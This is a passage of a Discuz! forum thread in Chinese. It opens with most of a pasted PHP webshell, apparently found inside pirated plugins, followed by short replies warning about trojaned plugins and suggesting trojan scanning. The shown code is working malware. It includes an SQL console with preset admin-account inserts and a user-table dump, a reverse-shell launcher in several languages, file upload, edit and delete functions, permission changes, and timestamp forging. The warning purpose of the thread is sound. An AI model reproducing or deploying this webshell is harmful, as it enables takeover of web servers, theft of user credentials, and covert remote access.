  435. echo '<option value="insert into `admin` (`user`,`pass`) values (\'t00ls\', \'f1a81d782dea6a19bdca383bffe68452\');">插入数据</option>';
  436. echo '<option value="update `admin` set `user` = \'t00ls1\',`pass` = \'50de237e389600acadbeda3d6e6e0b1f\' where `user` = \'t00ls\' and `pass` = \'f1a81d782dea6a19bdca383bffe68452\' limit 1;">修改数据</option>';
  437. echo '<option value="t00lsa \'discuzx25\' t00lsb \'pre_ucenter_members\' t00lsc \'username,password,salt,email\' t00lsfile \'' . THISDIR . 'out.txt\';">脱库(MySql)</option>';
  438. echo '</select>';
  439. echo '</td><td><textarea name="sqlcode" id="sqlcode" style="width:680px;height:80px;">' . htmlspecialchars($sqlcode) . '</textarea></td></tr>';
  440. echo '<tr><td>操作</td><td><select name="names">';
  441. $charsets = array(
  442. 'gbk',
  443. 'utf8',
  444. 'big5',
  445. 'latin1',
  446. 'cp866',
  447. 'ujis',
  448. 'euckr',
  449. 'koi8r',
  450. 'koi8u'
  451. );
  452. foreach ($charsets as $charset) {
  453. echo '<option value="' . $charset . '"' . ($names == $charset ? ' selected' : '') . '>' . $charset . '</option>';
  454. }
  455. echo '</select> <input type="submit" style="width:80px;" value="执行"></td></tr>';
  456. echo '</table></form>';
  457. if ($rows) {
  458. echo '<pre style="padding:5px;background:#F8F8F8;text-align:left;">';
  459. ob_start();
  460. print_r($rows);
  461. $out = ob_get_contents();
  462. ob_end_clean();
  463. if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $out) && function_exists('iconv')) {
  464. $out = @iconv('UTF-8', 'GB2312//IGNORE', $out);
  465. }
  466. echo htmlspecialchars($out);
  467. echo '</pre>';
  468. }
  469. break;
  470. case "backshell":
  471. if ((!empty($_POST['backip'])) && (!empty($_POST['backport']))) {
  472. $backip = $_POST['backip'];
  473. $backport = $_POST['backport'];
  474. $temp = $_POST['temp'] ? $_POST['temp'] : '/tmp';
  475. $type = $_POST['type'];
  476. $msg = backshell($backip, $backport, $temp, $type);
  477. } else {
  478. $backip = $_SERVER['REMOTE_ADDR'];
  479. $backport = '443';
  480. $temp = '/tmp';
  481. $type = 'pl';
  482. $msg = 'PHP反弹可兼容Linux和Windows 其余方法只用于Linux';
  483. }
  484. echo '<div class="msgbox">' . $msg . '</div>';
  485. echo '<form method="POST">';
  486. subeval();
  487. echo '<input type="hidden" name="go" id="go" value="backshell">';
  488. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  489. echo '<tr><td>反弹地址</td><td><input type="text" name="backip" style="width:268px;" value="' . $backip . '"> (Your ip)</td></tr>';
  490. echo '<tr><td>反弹端口</td><td><input type="text" name="backport" style="width:268px;" value="' . $backport . '"> (nc -vvlp ' . $backport . ')</td></tr>';
  491. echo '<tr><td>临时目录</td><td><input type="text" name="temp" style="width:268px;" value="' . $temp . '"> (Only Linux)</td></tr>';
  492. echo '<tr><td>反弹方法</td><td>';
  493. $types = array(
  494. 'pl' => 'Perl',
  495. 'py' => 'Python',
  496. 'c' => 'C-bin',
  497. 'pcntl' => 'Pcntl',
  498. 'php' => 'PHP',
  499. 'phpwin' => 'PHP-COM'
  500. );
  501. foreach ($types as $key => $name) {
  502. echo '<label><input type="radio" name="type" value="' . $key . '"' . ($key == $type ? ' checked' : '') . '>' . $name . '</label> ';
  503. }
  504. echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="反弹"></td></tr>';
  505. echo '</table></form>';
  506. break;
  507. case "edit":
  508. case "editor":
  509. $file = strdir($_POST['godir'] . '/' . $_POST['govar']);
  510. $iconv = function_exists('iconv');
  511. if (!file_exists($file)) {
  512. $msg = '【新建文件】';
  513. } else {
  514. $code = filer($file);
  515. $chst = '默认';
  516. if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $code) && $iconv) {
  517. $chst = 'utf-8';
  518. $code = @iconv('UTF-8', 'GB2312//IGNORE', $code);
  519. }
  520. $size = size(filesize($file));
  521. $msg = '【文件属性 ' . substr(decoct(fileperms($file)), -4) . '】 【文件大小 ' . $size . '】 【文件编码 ' . $chst . '】';
  522. }
  523. echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==');
  524. echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" onclick="search($(\'keyword\').value);"> - ' . $msg . '</div>';
  525. echo '<form name="editfrm" id="editfrm" method="POST">';
  526. subeval();
  527. echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">';
  528. echo '<input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">';
  529. echo '<div class="actall">文件 <input type="text" name="filename" value="' . $file . '" style="width:528px;"> ';
  530. if ($iconv) {
  531. echo '编码 <select name="tostr">';
  532. $selects = array(
  533. 'normal' => '默认',
  534. 'utf' => 'utf-8'
  535. );
  536. foreach ($selects as $var => $name) {
  537. echo '<option value="' . $var . '"' . ($name == $chst ? ' selected' : '') . '>' . $name . '</option>';
  538. }
  539. echo '</select>';
  540. }
  541. echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">' . htmlspecialchars($code) . '</textarea></div></form>';
  542. echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> ';
  543. echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">';
  544. subeval();
  545. echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
  546. break;
  547. case "upfiles":
  548. $updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir'];
  549. $msg = '【最大上传文件 ' . get_cfg_var("upload_max_filesize") . '】 【POST最大提交数据 ' . get_cfg_var("post_max_size") . '】';
  550. $max = 10;
  551. if (isset($_FILES['uploads']) && isset($_POST['renames'])) {
  552. $uploads = $_FILES['uploads'];
  553. $msgs = array();
  554. for ($i = 1; $i < $max; $i++) {
  555. if ($uploads['error'][$i] == UPLOAD_ERR_OK) {
  556. $rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];
  557. $filea = $uploads['tmp_name'][$i];
  558. $fileb = strdir($updir . '/' . $rename);
  559. $msgs[$i] = fileu($filea, $fileb) ? '<br><h2>上传成功 ' . $rename . '</h2>' : '<br><h1>上传失败 ' . $rename . '</h1>';
  560. }
  561. }
  562. }
  563. echo '<div class="msgbox">' . $msg . '</div>';
  564. echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';
  565. subeval();
  566. echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';
  567. echo '<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="' . $updir . '"></p>';
  568. for ($i = 1; $i < $max; $i++) {
  569. echo '<p>附件' . $i . ' <input type="file" name="uploads[' . $i . ']" style="width:300px;"> 重命名 <input type="text" name="renames[' . $i . ']" style="width:128px;"> ' . $msgs[$i] . '</p>';
  570. }
  571. echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="上传" style="width:80px;"> ';
  572. echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . $updir . '">';
  573. subeval();
  574. echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
  575. break;
  576. default:
  577. if (isset($_FILES['upfile'])) {
  578. if ($_FILES['upfile']['name'] == '') {
  579. $msg = '<h1>请选择文件</h1>';
  580. } else {
  581. $rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename'];
  582. $filea = $_FILES['upfile']['tmp_name'];
  583. $fileb = strdir($nowdir . $rename);
  584. $msg = fileu($filea, $fileb) ? '<h2>上传文件' . $rename . '成功</h2>' : '<h1>上传文件' . $rename . '失败</h1>';
  585. }
  586. }
  587. if (isset($_POST['act'])) {
  588. switch ($_POST['act']) {
  589. case "a":
  590. if (!$_POST['files']) {
  591. $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
  592. } else {
  593. $i = 0;
  594. foreach ($_POST['files'] as $filename) {
  595. $i += @copy(strdir($nowdir . $filename), strdir($_POST['var'] . '/' . $filename)) ? 1 : 0;
  596. }
  597. $msg = $msg = $i ? '<h2>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '成功</h2>' : '<h1>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '失败</h1>';
  598. }
  599. break;
  600. case "b":
  601. if (!$_POST['files']) {
  602. $msg = '<h1>请选择文件</h1>';
  603. } else {
  604. $i = 0;
  605. foreach ($_POST['files'] as $filename) {
  606. $i += @unlink(strdir($nowdir . $filename)) ? 1 : 0;
  607. }
  608. $msg = $i ? '<h2>共删除 ' . $i . ' 个文件成功</h2>' : '<h1>共删除 ' . $i . ' 个文件失败</h1>';
  609. }
  610. break;
  611. case "c":
  612. if (!$_POST['files']) {
  613. $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
  614. } elseif (!ereg("^[0-7]{4}$", $_POST['var'])) {
  615. $msg = '<h1>属性值错误</h1>';
  616. } else {
  617. $i = 0;
  618. foreach ($_POST['files'] as $filename) {
  619. $i += @chmod(strdir($nowdir . $filename), base_convert($_POST['var'], 8, 10)) ? 1 : 0;
  620. }
  621. $msg = $i ? '<h2>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '失败</h1>';
  622. }
  623. break;
  624. case "d":
  625. if (!$_POST['files']) {
  626. $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
  627. } elseif (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['var'])) {
  628. $msg = '<h1>时间格式错误 ' . $_POST['var'] . '</h1>';
  629. } else {
  630. $i = 0;
  631. foreach ($_POST['files'] as $filename) {
  632. $i += @touch(strdir($nowdir . $filename), strtotime($_POST['var'])) ? 1 : 0;
  633. }
  634. $msg = $i ? '<h2>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '失败</h1>';
  635. }
  636. break;
  637. case "e":
  638. $path = strdir($nowdir . $_POST['var'] . '/');
  639. if (file_exists($path)) {
  640. $msg = '<h1>目录已存在 ' . $_POST['var'] . '</h1>';
  641. } else {
  642. $msg = @mkdir($path, 0777) ? '<h2>创建目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>创建目录 ' . $_POST['var'] . ' 失败</h1>';
  643. }
  644. break;
  645. case "rf":
  646. $files = explode('|x|', $_POST['var']);
  647. if (count($files) != 2) {
  648. $msg = '<h1>输入错误</h1>';
  649. } else {
  650. $msg = @rename(strdir($nowdir . $files[1]), strdir($nowdir . $files[0])) ? '<h2>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 成功</h2>' : '<h1>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 失败</h1>';
  651. }
  652. break;
  653. case "pd":
  654. $files = explode('|x|', $_POST['var']);
  655. if (count($files) != 2) {
  656. $msg = '<h1>输入错误</h1>';
  657. } else {
  658. $path = strdir($nowdir . $files[1]);
  659. $msg = @chmod($path, base_convert($files[0], 8, 10)) ? '<h2>修改' . $files[1] . '属性为' . $files[0] . '成功</h2>' : '<h1>修改' . $files[1] . '属性为' . $files[0] . '失败</h1>';
  660. }
  661. break;
  662. case "edit":
  663. if (isset($_POST['filename']) && isset($_POST['filecode'])) {
  664. if ($_POST['tostr'] == 'utf') {
  665. $_POST['filecode'] = @iconv('GB2312//IGNORE', 'UTF-8', $_POST['filecode']);
  666. }
  667. $msg = filew($_POST['filename'], $_POST['filecode'], 'w') ? '<h2>保存成功 ' . $_POST['filename'] . '</h2>' : '<h1>保存失败 ' . $_POST['filename'] . '</h1>';
  668. }
  669. break;
  670. case "deltree":
  671. $deldir = strdir($nowdir . $_POST['var'] . '/');
  672. if (!file_exists($deldir)) {
  673. $msg = '<h1>目录 ' . $_POST['var'] . ' 不存在</h1>';
  674. } else {
  675. $msg = deltree($deldir) ? '<h2>删除目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>删除目录 ' . $_POST['var'] . ' 失败</h1>';
  676. }
  677. break;
  678. }
  679. }
  680. $array = showdir($nowdir);
  681. $thisurl = strdir('/' . strtr($nowdir, array(
  682. ROOTDIR => ''
  683. )) . '/');
  684. $chown = substr(decoct(fileperms($nowdir)), -4);
  685. if (!$chown) {
  686. $chown = '0000';
  687. }
  688. $nowdir = strtr($nowdir, array(
  689. '\'' => '%27',
  690. '"' => '%22'
  691. ));
  692. echo '<div class="msgbox">' . $msg . '</div>';
  693. echo '<div class="actall"><form name="frm" id="frm" method="POST">';
  694. subeval();
  695. echo '当前路径(' . $chown . ') <input type="text" name="dir" id="dir" style="width:500px;" value="' . strdir($nowdir . '/') . '"> ';
  696. echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="转到"> ';
  697. echo '<select onchange="cd(options[selectedIndex].value);">';
  698. echo '<option>---特殊目录---</option>';
  699. echo '<option value="' . ROOTDIR . '"> 网站根目录 </option>';
  700. echo '<option value="' . THISDIR . '"> 本程序目录 </option>';
  701. echo '<option value="C:/RECYCLER/">Win-RECYCLER</option>';
  702. echo '<option value="C:/$Recycle.Bin/">Win-$Recycle</option>';
  703. echo '<option value="C:/Program Files/">Win-Program</option>';
  704. echo '<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup/">Win-Startup</option>';
  705. echo '<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动/">Win-启动</option>';
  706. echo '<option value="C:/Windows/Temp/">Win-TEMP</option>';
  707. echo '<option value="/usr/local/">Linux-local</option>';
  708. echo '<option value="/tmp/">Linux-tmp</option>';
  709. echo '<option value="/etc/">Linux-etc</option>';
  710. echo '</select></form></div><div class="actall">';
  711. echo '<input type="button" value="新建文件" onclick="nf(\'edit\',\'newfile.php\');" style="width:80px;"> ';
  712. echo '<input type="button" value="创建目录" onclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:80px;"> ';
  713. echo '<input type="button" value="批量上传" onclick="go(\'upfiles\',\'' . $nowdir . '\');" style="width:80px;"> ';
  714. echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';
  715. subeval();
  716. echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';
  717. echo '<input type="file" name="upfile" style="width:256px;height:21px;"> ';
  718. echo '<input type="button" onclick="$(\'upfrm\').submit();" value="上传" style="width:50px;"> ';
  719. echo '上传重命名为 <input type="text" name="rename" style="width:128px;">';
  720. echo '</form></div>';
  721. echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';
  722. subeval();
  723. echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';
  724. echo '<input type="hidden" name="act" id="act" value="">';
  725. echo '<input type="hidden" name="var" id="var" value="">';
  726. echo '<th><a href="javascript:void(0);" onclick="cd(\'' . dirname($nowdir) . '/\');">上级目录</a></th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>';
  727. if ($array) {
  728. asort($array['dir']);
  729. asort($array['file']);
  730. $dnum = $fnum = 0;
  731. foreach ($array['dir'] as $path => $name) {
  732. $prem = substr(decoct(fileperms($path)), -4);
  733. $ctime = date('Y-m-d H:i:s', filectime($path));
  734. $mtime = date('Y-m-d H:i:s', filemtime($path));
  735. echo '<tr>';
  736. echo '<td><a href="javascript:void(0);" onclick="cd(\'' . $nowdir . $name . '\');"><b>' . strtr($name, array(
  737. '%27' => '\'',
  738. '%22' => '"'
  739. )) . '</b></a></td>';
  740. echo '<td><a href="javascript:void(0);" onclick="dels(\'' . $name . '\');">删除</a> ';
  741. echo '<a href="javascript:void(0);" onclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';
  742. echo '<td><a href="javascript:void(0);" onclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
  743. echo '<td>' . $ctime . '</td>';
  744. echo '<td>' . $mtime . '</td>';
  745. echo '<td>-</td>';
  746. echo '</tr>';
  747. $dnum++;
  748. }
  749. foreach ($array['file'] as $path => $name) {
  750. $prem = substr(decoct(fileperms($path)), -4);
  751. $ctime = date('Y-m-d H:i:s', filectime($path));
  752. $mtime = date('Y-m-d H:i:s', filemtime($path));
  753. $size = size(filesize($path));
  754. echo '<tr>';
  755. echo '<td><input type="checkbox" name="files[]" value="' . $name . '"><a target="_blank" href="' . $thisurl . $name . '">' . strtr($name, array(
  756. '%27' => '\'',
  757. '%22' => '"'
  758. )) . '</a></td>';
  759. echo '<td><a href="javascript:void(0);" onclick="go(\'edit\',\'' . $name . '\');">编辑</a> ';
  760. echo '<a href="javascript:void(0);" onclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';
  761. echo '<td><a href="javascript:void(0);" onclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
  762. echo '<td>' . $ctime . '</td>';
  763. echo '<td>' . $mtime . '</td>';
  764. echo '<td align="right"><a href="javascript:void(0);" onclick="go(\'down\',\'' . $name . '\');">' . $size . '</a></td>';
  765. echo '</tr>';
  766. $fnum++;
  767. }
  768. }
  769. unset($array);
  770. echo '</table>';
  771. echo '<div class="actall" style="text-align:left;">';
  772. echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';
  773. echo '<input type="button" value="复制" style="width:50px;" onclick=\'txts("复制路径","' . $nowdir . '","a");\'> ';
  774. echo '<input type="button" value="删除" style="width:50px;" onclick=\'dels("b");\'> ';
  775. echo '<input type="button" value="属性" style="width:50px;" onclick=\'txts("属性值","0666","c");\'> ';
  776. echo '<input type="button" value="时间" style="width:50px;" onclick=\'txts("修改时间","' . $mtime . '","d");\'> ';
  777. echo '目录[' . $dnum . '] - 文件[' . $fnum . ']</div></form>';
  778. break;
  779. }
  780. ?><div class="footag"><?php
  781. echo php_uname() . '<br>' . $_SERVER['SERVER_SOFTWARE'];
  782. ?></div></div></div></body></html><?php
  783. unset($array);
  784. ?>
复制代码


回复 支持 反对

使用道具 举报

15

主题

1794

回帖

2063

积分

应用开发者

discuz 老兵

贡献
8 点
金币
188 个
QQ
发表于 2019-7-15 11:28:51 | 显示全部楼层
  很早之前我就发现了,  告诉了很多站长 可他们就是不相信。。  我也没办法
回复 支持 反对

使用道具 举报

83

主题

91

回帖

238

积分

炉火纯青

贡献
0 点
金币
55 个
发表于 2019-7-15 18:56:07 | 显示全部楼层
有人说源码哥的插件里有木马
网络信息圈:www.wlxxq.com
爱豆云服务器:www.aidouyun.cn
回复 支持 反对

使用道具 举报

29

主题

207

回帖

1367

积分

管理员

贡献
52 点
金币
167 个
QQ
发表于 2019-7-16 07:40:09 | 显示全部楼层
回复

使用道具 举报

8

主题

33

回帖

92

积分

渐入佳境

贡献
0 点
金币
48 个
发表于 2019-7-16 10:24:59 | 显示全部楼层
支持  
回复 支持 反对

使用道具 举报

7

主题

61

回帖

88

积分

渐入佳境

贡献
0 点
金币
18 个
发表于 2019-7-16 10:39:47 | 显示全部楼层
         
回复 支持 反对

使用道具 举报

14

主题

12

回帖

76

积分

渐入佳境

贡献
0 点
金币
48 个
 楼主| 发表于 2019-7-18 16:41:11 | 显示全部楼层
林子浩 发表于 2019-7-15 18:56
有人说源码哥的插件里有木马

无利不起早,做盗版的,那么便宜卖你插件,甚至免费送,背后比如有他的目的:
安全小知识:为什么使用盗版插件容易被挂马!

在github上活捉一只黑客兼做盗版插件的狗,3315款插件受害!
回复 支持 反对

使用道具 举报

8

主题

38

回帖

128

积分

渐入佳境

贡献
0 点
金币
79 个
发表于 2019-7-18 21:17:06 | 显示全部楼层
大佬讲解下这代码是啥意思,小白一脸懵逼
回复 支持 反对

使用道具 举报

12

主题

125

回帖

183

积分

渐入佳境

贡献
0 点
金币
41 个
发表于 2019-7-19 19:13:31 来自手机 | 显示全部楼层
DZ后台增加功能,“检查权限”,“查杀木马”。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

  • 关注公众号
  • 有偿服务微信
  • 有偿服务QQ

手机版|小黑屋|Discuz! 官方交流社区 ( 皖ICP备16010102号 |皖公网安备34010302002376号 )|网站地图|star

GMT+8, 2024-6-2 16:25 , Processed in 0.077983 second(s), 7 queries , Redis On.

Powered by Discuz! W1.0 Licensed

Cpoyright © 2001-2024 Discuz! Team.

关灯 在本版发帖
有偿服务QQ
有偿服务微信
返回顶部
快速回复 返回顶部 返回列表